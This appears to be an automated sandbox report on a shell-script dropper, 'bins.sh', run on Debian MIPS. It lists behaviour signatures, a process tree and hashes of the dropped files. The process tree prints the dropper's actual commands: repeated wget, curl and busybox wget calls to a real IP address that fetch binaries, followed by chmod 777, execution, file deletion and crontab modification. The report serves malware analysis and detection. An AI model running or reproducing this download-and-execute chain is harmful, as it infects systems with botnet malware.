Analysis

  • max time kernel
    149s
  • max time network
    147s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240729-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240729-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    15/11/2024, 23:27

General

  • Target
    bins.sh
  • Size 10KB
  • Sample241115-3fd5msykfp
  • SHA256 f07fdce89f07a0877e3a9fb6bf299920e038e0524dd238c19929b4b1a2db8285
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Contacts a large (1519) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 12 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 12 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 34 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:720
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:723
        • /usr/bin/wget
          wget http://216.126.231.240/bins/YjauN6gwQrKzb7HXKKfE9BJdLpFUAwX7Fk
          2⤵
          • Writes file to tmp directory
          PID:725
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/YjauN6gwQrKzb7HXKKfE9BJdLpFUAwX7Fk
          2⤵
          • Writes file to tmp directory
          PID:746
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/YjauN6gwQrKzb7HXKKfE9BJdLpFUAwX7Fk
          2⤵
          • Writes file to tmp directory
          PID:750
        • /bin/chmod
          chmod 777 YjauN6gwQrKzb7HXKKfE9BJdLpFUAwX7Fk
          2⤵
          • File and Directory Permissions Modification
          PID:751
        • /tmp/YjauN6gwQrKzb7HXKKfE9BJdLpFUAwX7Fk
          ./YjauN6gwQrKzb7HXKKfE9BJdLpFUAwX7Fk
          2⤵
          • Executes dropped EXE
          PID:752
        • /bin/rm
          rm YjauN6gwQrKzb7HXKKfE9BJdLpFUAwX7Fk
          2⤵
            PID:754
          • /usr/bin/wget
            wget http://216.126.231.240/bins/MUzusPSSDm4Ai9PMJX8AYboPCo7Ld0yluq
            2⤵
            • Writes file to tmp directory
            PID:755
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/MUzusPSSDm4Ai9PMJX8AYboPCo7Ld0yluq
            2⤵
            • Reads runtime system information
            • Writes file to tmp directory
            PID:756
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/MUzusPSSDm4Ai9PMJX8AYboPCo7Ld0yluq
            2⤵
            • Writes file to tmp directory
            PID:757
          • /bin/chmod
            chmod 777 MUzusPSSDm4Ai9PMJX8AYboPCo7Ld0yluq
            2⤵
            • File and Directory Permissions Modification
            PID:758
          • /tmp/MUzusPSSDm4Ai9PMJX8AYboPCo7Ld0yluq
            ./MUzusPSSDm4Ai9PMJX8AYboPCo7Ld0yluq
            2⤵
            • Executes dropped EXE
            PID:759
          • /bin/rm
            rm MUzusPSSDm4Ai9PMJX8AYboPCo7Ld0yluq
            2⤵
              PID:761
            • /usr/bin/wget
              wget http://216.126.231.240/bins/GFUlKwE4R77oVCgEmQw7IZFrpX0J9FZuzN
              2⤵
              • Writes file to tmp directory
              PID:762
            • /usr/bin/curl
              curl -O http://216.126.231.240/bins/GFUlKwE4R77oVCgEmQw7IZFrpX0J9FZuzN
              2⤵
              • Writes file to tmp directory
              PID:772
            • /bin/busybox
              /bin/busybox wget http://216.126.231.240/bins/GFUlKwE4R77oVCgEmQw7IZFrpX0J9FZuzN
              2⤵
              • Writes file to tmp directory
              PID:783
            • /bin/chmod
              chmod 777 GFUlKwE4R77oVCgEmQw7IZFrpX0J9FZuzN
              2⤵
              • File and Directory Permissions Modification
              PID:789
            • /tmp/GFUlKwE4R77oVCgEmQw7IZFrpX0J9FZuzN
              ./GFUlKwE4R77oVCgEmQw7IZFrpX0J9FZuzN
              2⤵
              • Executes dropped EXE
              PID:790
            • /bin/rm
              rm GFUlKwE4R77oVCgEmQw7IZFrpX0J9FZuzN
              2⤵
                PID:793
              • /usr/bin/wget
                wget http://216.126.231.240/bins/9nJ4hSKp8oO5dum4ZZJ2Vc3y6DS0jIj2s5
                2⤵
                • Writes file to tmp directory
                PID:795
              • /usr/bin/curl
                curl -O http://216.126.231.240/bins/9nJ4hSKp8oO5dum4ZZJ2Vc3y6DS0jIj2s5
                2⤵
                • Writes file to tmp directory
                PID:808
              • /bin/busybox
                /bin/busybox wget http://216.126.231.240/bins/9nJ4hSKp8oO5dum4ZZJ2Vc3y6DS0jIj2s5
                2⤵
                • Writes file to tmp directory
                PID:816
              • /bin/chmod
                chmod 777 9nJ4hSKp8oO5dum4ZZJ2Vc3y6DS0jIj2s5
                2⤵
                • File and Directory Permissions Modification
                PID:817
              • /tmp/9nJ4hSKp8oO5dum4ZZJ2Vc3y6DS0jIj2s5
                ./9nJ4hSKp8oO5dum4ZZJ2Vc3y6DS0jIj2s5
                2⤵
                • Executes dropped EXE
                PID:818
              • /bin/rm
                rm 9nJ4hSKp8oO5dum4ZZJ2Vc3y6DS0jIj2s5
                2⤵
                  PID:820
                • /usr/bin/wget
                  wget http://216.126.231.240/bins/m3dgKZcEAaJT5qe245RJ3OoUtmMhYOc3iG
                  2⤵
                  • Writes file to tmp directory
                  PID:821
                • /usr/bin/curl
                  curl -O http://216.126.231.240/bins/m3dgKZcEAaJT5qe245RJ3OoUtmMhYOc3iG
                  2⤵
                  • Writes file to tmp directory
                  PID:822
                • /bin/busybox
                  /bin/busybox wget http://216.126.231.240/bins/m3dgKZcEAaJT5qe245RJ3OoUtmMhYOc3iG
                  2⤵
                  • Writes file to tmp directory
                  PID:823
                • /bin/chmod
                  chmod 777 m3dgKZcEAaJT5qe245RJ3OoUtmMhYOc3iG
                  2⤵
                  • File and Directory Permissions Modification
                  PID:824
                • /tmp/m3dgKZcEAaJT5qe245RJ3OoUtmMhYOc3iG
                  ./m3dgKZcEAaJT5qe245RJ3OoUtmMhYOc3iG
                  2⤵
                  • Executes dropped EXE
                  PID:825
                • /bin/rm
                  rm m3dgKZcEAaJT5qe245RJ3OoUtmMhYOc3iG
                  2⤵
                    PID:827
                  • /usr/bin/wget
                    wget http://216.126.231.240/bins/SdCfevLWi6WWbHZPwFL3T1FTRoizxPLTkT
                    2⤵
                    • Writes file to tmp directory
                    PID:829
                  • /usr/bin/curl
                    curl -O http://216.126.231.240/bins/SdCfevLWi6WWbHZPwFL3T1FTRoizxPLTkT
                    2⤵
                    • Writes file to tmp directory
                    PID:840
                  • /bin/busybox
                    /bin/busybox wget http://216.126.231.240/bins/SdCfevLWi6WWbHZPwFL3T1FTRoizxPLTkT
                    2⤵
                    • Writes file to tmp directory
                    PID:856
                  • /bin/chmod
                    chmod 777 SdCfevLWi6WWbHZPwFL3T1FTRoizxPLTkT
                    2⤵
                    • File and Directory Permissions Modification
                    PID:864
                  • /tmp/SdCfevLWi6WWbHZPwFL3T1FTRoizxPLTkT
                    ./SdCfevLWi6WWbHZPwFL3T1FTRoizxPLTkT
                    2⤵
                    • Executes dropped EXE
                    PID:865
                  • /bin/rm
                    rm SdCfevLWi6WWbHZPwFL3T1FTRoizxPLTkT
                    2⤵
                      PID:867
                    • /usr/bin/wget
                      wget http://216.126.231.240/bins/Nu3PpET2ReTqta0GUI3JX6G9yXE3Ym6nlC
                      2⤵
                      • Writes file to tmp directory
                      PID:868
                    • /usr/bin/curl
                      curl -O http://216.126.231.240/bins/Nu3PpET2ReTqta0GUI3JX6G9yXE3Ym6nlC
                      2⤵
                      • Writes file to tmp directory
                      PID:869
                    • /bin/busybox
                      /bin/busybox wget http://216.126.231.240/bins/Nu3PpET2ReTqta0GUI3JX6G9yXE3Ym6nlC
                      2⤵
                      • Writes file to tmp directory
                      PID:870
                    • /bin/chmod
                      chmod 777 Nu3PpET2ReTqta0GUI3JX6G9yXE3Ym6nlC
                      2⤵
                      • File and Directory Permissions Modification
                      PID:871
                    • /tmp/Nu3PpET2ReTqta0GUI3JX6G9yXE3Ym6nlC
                      ./Nu3PpET2ReTqta0GUI3JX6G9yXE3Ym6nlC
                      2⤵
                      • Executes dropped EXE
                      PID:872
                    • /bin/rm
                      rm Nu3PpET2ReTqta0GUI3JX6G9yXE3Ym6nlC
                      2⤵
                        PID:874
                      • /usr/bin/wget
                        wget http://216.126.231.240/bins/Bm4h3caVKyDA5Bz8TqQobYHfoTMcLTWOCJ
                        2⤵
                        • Writes file to tmp directory
                        PID:875
                      • /usr/bin/curl
                        curl -O http://216.126.231.240/bins/Bm4h3caVKyDA5Bz8TqQobYHfoTMcLTWOCJ
                        2⤵
                        • Writes file to tmp directory
                        PID:876
                      • /bin/busybox
                        /bin/busybox wget http://216.126.231.240/bins/Bm4h3caVKyDA5Bz8TqQobYHfoTMcLTWOCJ
                        2⤵
                        • Writes file to tmp directory
                        PID:877
                      • /bin/chmod
                        chmod 777 Bm4h3caVKyDA5Bz8TqQobYHfoTMcLTWOCJ
                        2⤵
                        • File and Directory Permissions Modification
                        PID:878
                      • /tmp/Bm4h3caVKyDA5Bz8TqQobYHfoTMcLTWOCJ
                        ./Bm4h3caVKyDA5Bz8TqQobYHfoTMcLTWOCJ
                        2⤵
                        • Executes dropped EXE
                        PID:879
                      • /bin/rm
                        rm Bm4h3caVKyDA5Bz8TqQobYHfoTMcLTWOCJ
                        2⤵
                          PID:881
                        • /usr/bin/wget
                          wget http://216.126.231.240/bins/wCH8gqywXaWdHNQTDUwygyJEMZ2VJDk0et
                          2⤵
                          • Writes file to tmp directory
                          PID:882
                        • /usr/bin/curl
                          curl -O http://216.126.231.240/bins/wCH8gqywXaWdHNQTDUwygyJEMZ2VJDk0et
                          2⤵
                          • Writes file to tmp directory
                          PID:883
                        • /bin/busybox
                          /bin/busybox wget http://216.126.231.240/bins/wCH8gqywXaWdHNQTDUwygyJEMZ2VJDk0et
                          2⤵
                          • Writes file to tmp directory
                          PID:884
                        • /bin/chmod
                          chmod 777 wCH8gqywXaWdHNQTDUwygyJEMZ2VJDk0et
                          2⤵
                          • File and Directory Permissions Modification
                          PID:885
                        • /tmp/wCH8gqywXaWdHNQTDUwygyJEMZ2VJDk0et
                          ./wCH8gqywXaWdHNQTDUwygyJEMZ2VJDk0et
                          2⤵
                          • Executes dropped EXE
                          PID:886
                        • /bin/rm
                          rm wCH8gqywXaWdHNQTDUwygyJEMZ2VJDk0et
                          2⤵
                            PID:888
                          • /usr/bin/wget
                            wget http://216.126.231.240/bins/nfraUgHtBkfZai2ugE6hCrM7VRZxAcIgrx
                            2⤵
                            • Writes file to tmp directory
                            PID:889
                          • /usr/bin/curl
                            curl -O http://216.126.231.240/bins/nfraUgHtBkfZai2ugE6hCrM7VRZxAcIgrx
                            2⤵
                            • Writes file to tmp directory
                            PID:890
                          • /bin/busybox
                            /bin/busybox wget http://216.126.231.240/bins/nfraUgHtBkfZai2ugE6hCrM7VRZxAcIgrx
                            2⤵
                            • Writes file to tmp directory
                            PID:891
                          • /bin/chmod
                            chmod 777 nfraUgHtBkfZai2ugE6hCrM7VRZxAcIgrx
                            2⤵
                            • File and Directory Permissions Modification
                            PID:892
                          • /tmp/nfraUgHtBkfZai2ugE6hCrM7VRZxAcIgrx
                            ./nfraUgHtBkfZai2ugE6hCrM7VRZxAcIgrx
                            2⤵
                            • Executes dropped EXE
                            PID:893
                          • /bin/rm
                            rm nfraUgHtBkfZai2ugE6hCrM7VRZxAcIgrx
                            2⤵
                              PID:895
                            • /usr/bin/wget
                              wget http://216.126.231.240/bins/71Db38cEvkajFlnK1gHXyz3ygEYZwz23a0
                              2⤵
                              • Writes file to tmp directory
                              PID:896
                            • /usr/bin/curl
                              curl -O http://216.126.231.240/bins/71Db38cEvkajFlnK1gHXyz3ygEYZwz23a0
                              2⤵
                              • Writes file to tmp directory
                              PID:897
                            • /bin/busybox
                              /bin/busybox wget http://216.126.231.240/bins/71Db38cEvkajFlnK1gHXyz3ygEYZwz23a0
                              2⤵
                              • Writes file to tmp directory
                              PID:898
                            • /bin/chmod
                              chmod 777 71Db38cEvkajFlnK1gHXyz3ygEYZwz23a0
                              2⤵
                              • File and Directory Permissions Modification
                              PID:899
                            • /tmp/71Db38cEvkajFlnK1gHXyz3ygEYZwz23a0
                              ./71Db38cEvkajFlnK1gHXyz3ygEYZwz23a0
                              2⤵
                              • Executes dropped EXE
                              • Renames itself
                              • Reads runtime system information
                              PID:900
                              • /bin/sh
                                sh -c "crontab -l"
                                3⤵
                                  PID:902
                                  • /usr/bin/crontab
                                    crontab -l
                                    4⤵
                                    • Reads runtime system information
                                    PID:903
                                • /bin/sh
                                  sh -c "crontab -"
                                  3⤵
                                    PID:904
                                    • /usr/bin/crontab
                                      crontab -
                                      4⤵
                                      • Creates/modifies Cron job
                                      • Reads runtime system information
                                      PID:905
                                • /bin/rm
                                  rm 71Db38cEvkajFlnK1gHXyz3ygEYZwz23a0
                                  2⤵
                                    PID:907
                                  • /usr/bin/wget
                                    wget http://216.126.231.240/bins/0IAMPxG72jZBPPstgKl6CSorEzBZjSeSxM
                                    2⤵
                                      PID:910
                                    • /usr/bin/curl
                                      curl -O http://216.126.231.240/bins/0IAMPxG72jZBPPstgKl6CSorEzBZjSeSxM
                                      2⤵
                                        PID:991
                                      • /bin/busybox
                                        /bin/busybox wget http://216.126.231.240/bins/0IAMPxG72jZBPPstgKl6CSorEzBZjSeSxM
                                        2⤵
                                        • Writes file to tmp directory
                                        PID:992
                                      • /bin/chmod
                                        chmod 777 0IAMPxG72jZBPPstgKl6CSorEzBZjSeSxM
                                        2⤵
                                        • File and Directory Permissions Modification
                                        PID:993
                                      • /tmp/0IAMPxG72jZBPPstgKl6CSorEzBZjSeSxM
                                        ./0IAMPxG72jZBPPstgKl6CSorEzBZjSeSxM
                                        2⤵
                                        • Executes dropped EXE
                                        PID:994
                                      • /bin/rm
                                        rm 0IAMPxG72jZBPPstgKl6CSorEzBZjSeSxM
                                        2⤵
                                          PID:996
                                        • /usr/bin/wget
                                          wget http://216.126.231.240/bins/2xwIGtgqd4rYlJi3mSa6Ghg3KG2iv8IEYi
                                          2⤵
                                            PID:997

                                        Network

                                              MITRE ATT&CK Enterprise v15

                                              Replay Monitor

                                              Loading Replay Monitor...

                                              Downloads

                                              0IAMPxG72jZBPPstgKl6CSorEzBZjSeSxM

                                              • Path /tmp/0IAMPxG72jZBPPstgKl6CSorEzBZjSeSxM
                                              • Size 111KB
                                              • SHA256 043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832
                                              • MD5 SHA1 SHA512 SSDEEP

                                              71Db38cEvkajFlnK1gHXyz3ygEYZwz23a0

                                              • Path /tmp/71Db38cEvkajFlnK1gHXyz3ygEYZwz23a0
                                              • Size 151KB
                                              • SHA256 bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2
                                              • MD5 SHA1 SHA512 SSDEEP

                                              9nJ4hSKp8oO5dum4ZZJ2Vc3y6DS0jIj2s5

                                              • Path /tmp/9nJ4hSKp8oO5dum4ZZJ2Vc3y6DS0jIj2s5
                                              • Size 151KB
                                              • SHA256 2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948
                                              • MD5 SHA1 SHA512 SSDEEP

                                              Bm4h3caVKyDA5Bz8TqQobYHfoTMcLTWOCJ

                                              • Path /tmp/Bm4h3caVKyDA5Bz8TqQobYHfoTMcLTWOCJ
                                              • Size 177KB
                                              • SHA256 5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18
                                              • MD5 SHA1 SHA512 SSDEEP

                                              GFUlKwE4R77oVCgEmQw7IZFrpX0J9FZuzN

                                              • Path /tmp/GFUlKwE4R77oVCgEmQw7IZFrpX0J9FZuzN
                                              • Size 119KB
                                              • SHA256 94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9
                                              • MD5 SHA1 SHA512 SSDEEP

                                              MUzusPSSDm4Ai9PMJX8AYboPCo7Ld0yluq

                                              • Path /tmp/MUzusPSSDm4Ai9PMJX8AYboPCo7Ld0yluq
                                              • Size 141KB
                                              • SHA256 dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f
                                              • MD5 SHA1 SHA512 SSDEEP

                                              Nu3PpET2ReTqta0GUI3JX6G9yXE3Ym6nlC

                                              • Path /tmp/Nu3PpET2ReTqta0GUI3JX6G9yXE3Ym6nlC
                                              • Size 98KB
                                              • SHA256 54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d
                                              • MD5 SHA1 SHA512 SSDEEP

                                              SdCfevLWi6WWbHZPwFL3T1FTRoizxPLTkT

                                              • Path /tmp/SdCfevLWi6WWbHZPwFL3T1FTRoizxPLTkT
                                              • Size 112KB
                                              • SHA256 2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70
                                              • MD5 SHA1 SHA512 SSDEEP

                                              YjauN6gwQrKzb7HXKKfE9BJdLpFUAwX7Fk

                                              • Path /tmp/YjauN6gwQrKzb7HXKKfE9BJdLpFUAwX7Fk
                                              • Size 99KB
                                              • SHA256 68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e
                                              • MD5 SHA1 SHA512 SSDEEP

                                              m3dgKZcEAaJT5qe245RJ3OoUtmMhYOc3iG

                                              • Path /tmp/m3dgKZcEAaJT5qe245RJ3OoUtmMhYOc3iG
                                              • Size 117KB
                                              • SHA256 8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579
                                              • MD5 SHA1 SHA512 SSDEEP

                                              nfraUgHtBkfZai2ugE6hCrM7VRZxAcIgrx

                                              • Path /tmp/nfraUgHtBkfZai2ugE6hCrM7VRZxAcIgrx
                                              • Size 122KB
                                              • SHA256 0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944
                                              • MD5 SHA1 SHA512 SSDEEP

                                              wCH8gqywXaWdHNQTDUwygyJEMZ2VJDk0et

                                              • Path /tmp/wCH8gqywXaWdHNQTDUwygyJEMZ2VJDk0et
                                              • Size 111KB
                                              • SHA256 ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588
                                              • MD5 SHA1 SHA512 SSDEEP

                                              tmp.NpfyJx

                                              • Path /var/spool/cron/crontabs/tmp.NpfyJx
                                              • Size 210B
                                              • SHA256 895a44f7fc6d3b4ec912560078fbf77de4c210a442e86ad49ce59c4b100fc80e
                                              • MD5 SHA1 SHA512